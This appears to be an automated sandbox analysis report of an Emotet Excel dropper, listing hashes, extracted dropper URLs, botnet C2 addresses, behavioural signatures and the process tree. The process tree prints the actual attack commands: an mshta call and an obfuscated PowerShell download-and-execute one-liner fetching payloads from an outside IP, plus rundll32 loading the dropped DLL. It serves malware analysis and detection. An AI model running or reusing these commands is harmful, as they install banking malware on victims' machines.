emotet | 02e8f00722dba838afccb86ca998dcff2ece2e935dfe0ff5b6c059df39fe7310

Analysis

max time kernel
122s
max time network
153s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 17:56

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General

Target
tmpw1y9nn9r.xls
Size 155KB
Sample220127-wh338ahcf8
SHA256 02e8f00722dba838afccb86ca998dcff2ece2e935dfe0ff5b6c059df39fe7310
MD5 14706af43fceea06c671eae57062eb64
SHA1 6a02e370c1163b557941ca1e2dce201ebf45898d
SHA512 b71735b18f1cc76d89717e3ded04a6f85af7588302cf9d39b623bc23c1a1bab8f510f9b7aa13b7d6b1c17937b166b2be59136e5d3bad73ea8d982d3b6450b491
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2052	2476	cmd.exe	67

Blocklisted process makes network request 6 IoCs

flow	pid	Process
49	696	mshta.exe
50	2108	powershell.exe
52	2108	powershell.exe
53	2108	powershell.exe
58	692	rundll32.exe
59	692	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2412	rundll32.exe
2196	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Dbyjlcjvat\smix.yde	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2476	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2108	powershell.exe
2108	powershell.exe
2108	powershell.exe
692	rundll32.exe
692	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE
2476	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2052	2476	EXCEL.EXE	72
PID 2476 wrote to memory of 2052	2476	EXCEL.EXE	72
PID 2052 wrote to memory of 696	2052	cmd.exe	74
PID 2052 wrote to memory of 696	2052	cmd.exe	74
PID 2108 wrote to memory of 968	2108	powershell.exe	77
PID 2108 wrote to memory of 968	2108	powershell.exe	77
PID 968 wrote to memory of 2412	968	cmd.exe	78
PID 968 wrote to memory of 2412	968	cmd.exe	78
PID 968 wrote to memory of 2412	968	cmd.exe	78
PID 2412 wrote to memory of 2196	2412	rundll32.exe	79
PID 2412 wrote to memory of 2196	2412	rundll32.exe	79
PID 2412 wrote to memory of 2196	2412	rundll32.exe	79
PID 2196 wrote to memory of 680	2196	rundll32.exe	80
PID 2196 wrote to memory of 680	2196	rundll32.exe	80
PID 2196 wrote to memory of 680	2196	rundll32.exe	80
PID 680 wrote to memory of 692	680	rundll32.exe	81
PID 680 wrote to memory of 692	680	rundll32.exe	81
PID 680 wrote to memory of 692	680	rundll32.exe	81

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpw1y9nn9r.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    PID:696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:968
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2412
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dbyjlcjvat\smix.yde",peEpO
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:680
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dbyjlcjvat\smix.yde",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/680-332-0x00000000044D0000-0x00000000044F7000-memory.dmp

Download

memory/692-334-0x0000000003521000-0x0000000003544000-memory.dmp

Download

memory/692-335-0x0000000003520000-0x0000000003547000-memory.dmp

Download

memory/2108-268-0x0000013143C90000-0x0000013143CB2000-memory.dmp

Download

memory/2108-306-0x000001315BFD6000-0x000001315BFD8000-memory.dmp

Download

memory/2108-272-0x000001315BFD0000-0x000001315BFD2000-memory.dmp

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memory/2108-274-0x000001315BFD3000-0x000001315BFD5000-memory.dmp

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memory/2108-290-0x000001315BF80000-0x000001315BFBC000-memory.dmp

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memory/2108-301-0x000001315CD20000-0x000001315CD96000-memory.dmp

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memory/2196-331-0x00000000050E0000-0x0000000005107000-memory.dmp

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memory/2196-325-0x0000000004E80000-0x0000000004EA7000-memory.dmp

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memory/2196-329-0x0000000004F40000-0x0000000004F67000-memory.dmp

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memory/2196-327-0x0000000004EE0000-0x0000000004F07000-memory.dmp

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memory/2196-317-0x0000000004590000-0x00000000045B7000-memory.dmp

Download

memory/2196-319-0x00000000046C0000-0x00000000046E7000-memory.dmp

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memory/2196-323-0x0000000004D20000-0x0000000004D47000-memory.dmp

Download

memory/2412-313-0x0000000004461000-0x0000000004484000-memory.dmp

Download

memory/2476-129-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

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memory/2476-127-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-128-0x00007FFFAB270000-0x00007FFFAB280000-memory.dmp

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memory/2476-118-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-115-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-117-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-116-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-370-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-371-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-372-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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memory/2476-373-0x00007FFFAE560000-0x00007FFFAE570000-memory.dmp

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